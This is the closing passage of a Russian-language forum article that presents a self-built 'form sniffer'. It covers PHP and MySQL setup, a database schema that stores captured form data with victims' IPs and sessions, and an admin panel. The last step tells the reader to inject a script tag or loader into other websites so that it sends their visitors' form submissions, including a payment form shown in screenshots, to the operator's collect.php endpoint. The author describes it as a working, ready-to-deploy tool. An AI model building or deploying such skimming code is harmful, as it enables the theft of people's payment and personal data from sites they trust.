'delete_submission': 'trash',
'export_data': 'download',
'bulk_delete': 'trash-alt'
};
return icons[action] || 'circle';
}
function formatActionName(action) {
return action.split('_').map(word =>
word.charAt(0).toUpperCase() + word.slice(1)
).join(' ');
}
Клиентские утилиты для форматирования отображения активности. Каждому типу действия соответствует своя иконка из Font Awesome.
Часть 5. Установка и настройка
Системные требования:
Сервер:
PHP версия 8.0 или выше обязательна для корректной работы строгой типизации (declare(strict_types=1)):
php -v необходимый результат - версия PHP 8.0.0+
Необходимые расширения PHP:
Проверка установленных расширений: php -m | grep -E "(pdo|pdo_mysql|json|mbstring|session|openssl)"
Установка на Ubuntu/Debian: sudo apt install php8.0-pdo php8.0-mysql php8.0-json php8.0-mbstring php8.0-openssl
Установка на CentOS: sudo yum install php80-php-pdo php80-php-mysqlnd php80-php-json php80-php-mbstring php80-php-openssl
Настройки PHP (php.ini)
INI:
memory_limit = 256M
max_execution_time = 300
max_input_vars = 3000
post_max_size = 50M
upload_max_filesize = 10M
session.gc_maxlifetime = 3600
session.cookie_httponly = 1
session.cookie_secure = 1
session.use_strict_mode = 1
База данных:
MySQL версии 5.7+ для поддержки данных типа JSON.
SQL:
-- Проверка версии
SELECT VERSION();
-- Минимальные настройки MySQL
SET GLOBAL innodb_buffer_pool_size = 512*1024*1024; -- 512MB
SET GLOBAL max_connections = 200;
SET GLOBAL wait_timeout = 600;
SET GLOBAL interactive_timeout = 600;
Веб сервер:
Apache 2.4+ с поддержкой HTTPS соединения:
Apache config:
<VirtualHost *:443>
ServerName your-domain.com
DocumentRoot /var/www/form-sniffer
SSLEngine on
SSLCertificateFile /path/to/certificate.crt
SSLCertificateKeyFile /path/to/private.key
Header always set X-Frame-Options DENY
Header always set X-Content-Type-Options nosniff
Header always set X-XSS-Protection "1; mode=block"
Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains"
<Directory /var/www/form-sniffer>
AllowOverride All
Require all granted
<Files "config.php">
Require all denied
</Files>
<Files "*.log">
Require all denied
</Files>
</Directory>
</VirtualHost>
Установка и настройка:
Загрузка и размещение файлов:
Создание директории проекта: sudo mkdir -p /var/www/sniffer
Переход в созданную директорию: cd /var/www/sniffer
Размещение всех файлов системы:
Rich (BB code):
sniffer/
│
├── api/
│ ├── delete.php
│ ├── profile.php
│ └── activity.php
├── style.css
├── sniffer.js
├── config.php
├── admin.php
├── login.php
├── logout.php
├── collect.php
└── export.php
Установка правильных прав доступа:
Bash:
sudo chown -R www-data:www-data /var/www/form-sniffer
sudo chmod -R 644 /var/www/form-sniffer
sudo chmod -R 755 /var/www/form-sniffer/api/
sudo chmod 600 /var/www/form-sniffer/config.php
Создание директории для логов:
Bash:
sudo mkdir -p /var/www/form-sniffer/logs
sudo chmod 755 /var/www/form-sniffer/logs
Настройка базы данных MySQL:
Создание пользователя и самой базы данных:
SQL:
-- Подключение к MySQL как root
mysql -u root -p
-- Создание базы данных
CREATE DATABASE form_sniffer_prod CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
-- Создание пользователя
CREATE USER 'form_sniffer_user'@'localhost' IDENTIFIED BY 'very_secure_password_here';
-- Предоставление прав
GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, ALTER, INDEX ON form_sniffer_prod.* TO 'form_sniffer_user'@'localhost';
-- Применение изменений
FLUSH PRIVILEGES;
Инициализация структуры БД:
Создайте файл database.sql
SQL:
-- install.sql
USE form_sniffer_prod;
-- Таблица пользователей
CREATE TABLE users (
id INT PRIMARY KEY AUTO_INCREMENT,
username VARCHAR(50) UNIQUE NOT NULL,
password_hash VARCHAR(255) NOT NULL,
email VARCHAR(100),
role ENUM('admin', 'user') DEFAULT 'user',
is_active BOOLEAN DEFAULT TRUE,
first_name VARCHAR(50),
last_name VARCHAR(50),
bio TEXT,
last_login TIMESTAMP NULL,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
INDEX idx_username (username),
INDEX idx_email (email),
INDEX idx_role (role),
INDEX idx_active (is_active)
);
-- Основная таблица данных форм
CREATE TABLE form_submissions (
id BIGINT PRIMARY KEY AUTO_INCREMENT,
page_url VARCHAR(500) NOT NULL,
form_data JSON NOT NULL,
form_id VARCHAR(100),
form_action VARCHAR(500),
ip_address VARCHAR(45) NOT NULL,
user_agent TEXT,
country VARCHAR(100),
city VARCHAR(100),
referrer VARCHAR(500),
session_id VARCHAR(64),
timestamp VARCHAR(30),
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
INDEX idx_page_url (page_url),
INDEX idx_ip_address (ip_address),
INDEX idx_created_at (created_at),
INDEX idx_session_id (session_id),
INDEX idx_country (country),
FULLTEXT idx_form_data (form_data)
);
-- Сессии пользователей
CREATE TABLE user_sessions (
id VARCHAR(128) PRIMARY KEY,
user_id INT NOT NULL,
ip_address VARCHAR(45),
user_agent TEXT,
expires_at TIMESTAMP NOT NULL,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE,
INDEX idx_user_id (user_id),
INDEX idx_expires_at (expires_at)
);
-- Rate limiting
CREATE TABLE rate_limits (
ip VARCHAR(45) NOT NULL,
hour VARCHAR(13) NOT NULL,
requests INT DEFAULT 1,
PRIMARY KEY (ip, hour),
INDEX idx_hour (hour)
);
-- Журнал активности
CREATE TABLE activity_logs (
id BIGINT PRIMARY KEY AUTO_INCREMENT,
user_id INT,
action VARCHAR(50) NOT NULL,
details JSON,
ip_address VARCHAR(45),
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE SET NULL,
INDEX idx_user_id (user_id),
INDEX idx_action (action),
INDEX idx_created_at (created_at)
);
-- Создание акка админа по дефолту
-- Пароль: admin123 (необходимо поменять)
INSERT INTO users (username, password_hash, email, role, is_active) VALUES
('admin', '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi', 'admin@your-domain.com', 'admin', 1);
Выполните инициализацию: mysql -u form_sniffer_user -p form_sniffer_prod < install.sql
Главное:
Не забудьте подключить базу данных в коде, делается это в следующих файлах:
config.php
PHP:
define('DB_HOST', $_ENV['DB_HOST'] ?? 'localhost');
define('DB_NAME', $_ENV['DB_NAME'] ?? 'your_database_name');
define('DB_USER', $_ENV['DB_USER'] ?? 'your_username');
define('DB_PASS', $_ENV['DB_PASS'] ?? 'your_password');
collect.php
PHP:
'db_host' => $_ENV['DB_HOST'] ?? 'localhost',
'db_name' => $_ENV['DB_NAME'] ?? 'your_database_name',
'db_user' => $_ENV['DB_USER'] ?? 'your_username',
'db_pass' => $_ENV['DB_PASS'] ?? 'your_password',
admin.php
PHP:
$pdo = new PDO(
'mysql:host=localhost;dbname=your_database_name;charset=utf8mb4',
'your_username',
'your_password',
login.php В ДВУХ МЕСТАХ:
PHP:
$pdo = new PDO(
'mysql:host=localhost;dbname=your_database_name;charset=utf8mb4',
'your_username',
'your_password',
PHP:
// Check for remember me cookie
if (isset($_COOKIE['remember_token']) && !isset($_SESSION['logged_in'])) {
try {
$pdo = new PDO(
'mysql:host=localhost;dbname=yourname;charset=utf8mb4',
'yourname',
'yourpassword',
[PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]
);
logout.php
PHP:
$pdo = new PDO(
'mysql:host=localhost;dbname=your_database_name;charset=utf8mb4',
'your_username',
'your_password',
export.php
PHP:
$pdo = new PDO(
'mysql:host=localhost;dbname=your_database_name;charset=utf8mb4',
'your_username',
'your_password',
ПАПКА API (delete.php, activity.php, profile.php)
PHP:
$pdo = new PDO(
'mysql:host=localhost;dbname=your_database_name;charset=utf8mb4',
'your_username',
'your_password',
Финальный шаг в установке: установка сниффера на другие сайты.
Для установки сниффера необходимо в любом месте в коде сайта перед закрывающим</body> добавить интеграцию JS скрипта:
JavaScript:
<script src="https://your-domain.com/sniffer.js" async></script>
Или с кастомизацией настроек, например удалением ненужных форм:
JavaScript:
(function() {
window.FormTrackerConfig = {
endpoint: 'https://your-domain.com/collect.php',
excludeTypes: ['password', 'file', 'hidden'],
excludeNames: ['api_key']
};
var script = document.createElement('script');
script.src = 'https://your-domain.com/sniffer.js';
script.async = true;
document.head.appendChild(script);
})();
excludeTypes: ['password', 'file', 'hidden'] - это означает, что будут исключены данные следующих типов: пароли, файлы, скрытые данные (******)
excludeNames: ['api_key'] - это означает, что будет исключено имя данных, которое соответствует api_key.
В этих переменных можно указывать любые данные, которые сниффер будет игнорировать.
В заключении могу сказать, что получился довольно интересный, а главное рабочий инструмент (хоть он и имеет некоторые косяки по дизайну, и в целом имеются небольшие недоработки) и каждый человек, прочитавший эту статью сможет написать собственный sniffer форм с полноценной панелью для собственной работы. Как я писал в самом начале в спойлере "ATTENTION", данный скрипт предназначается для рядового пользователя в виде рабочей базы. Если нужна функциональность "с коробки", а именно: взял готовый скрипт -> установил на сервер -> работаешь, то моя статья - идеально подходит для этого. Люди, которые разбираются в кодинге могут взять этот код в виде базы и оптимизировать его под свои нужды так, как им захочется.
У меня ушло более четырех (4:20) часов времени на непрерывное написание этой статьи по готовому коду, который я заранее доработал и привел в рабочее состояние на данный момент. Основа (база) этого кода лежала на моем сервере с начала 2024 года и это полностью самописный продукт. По реализации PHP панели может возникнуть много вопросов, т.к. практически все время при написании кода я использовал методички и видео на ютубе, т.к. я не специализируюсь на написании PHP кода (при этом я давно изучил базу, могу читать код, но свободно на нем не пишу).
Это моя крайняя статья за ближайшее время. Следующая статья выйдет скорее всего в конце лета, всему виной множество параллельных дел и отсутствие идей для написания полезных статей. Не хочу наполнять форум мусорным, некачественным контентом.
Прикладываю скриншоты панели:
(платежная форма, использовалась как пример)
этап авторизации в панель):
главное меню:
настройки админ панели:
настройки профиля:
логи активности:
смена пароля от аккаунта:
интерфейс для просмотра логов:
вид подробного лога:
.
мне задавать вопросы бесполезно. я сам выложил чтобы протестировать позже, т.к. форум закрытый, и у мня патериал в виде страницы pdf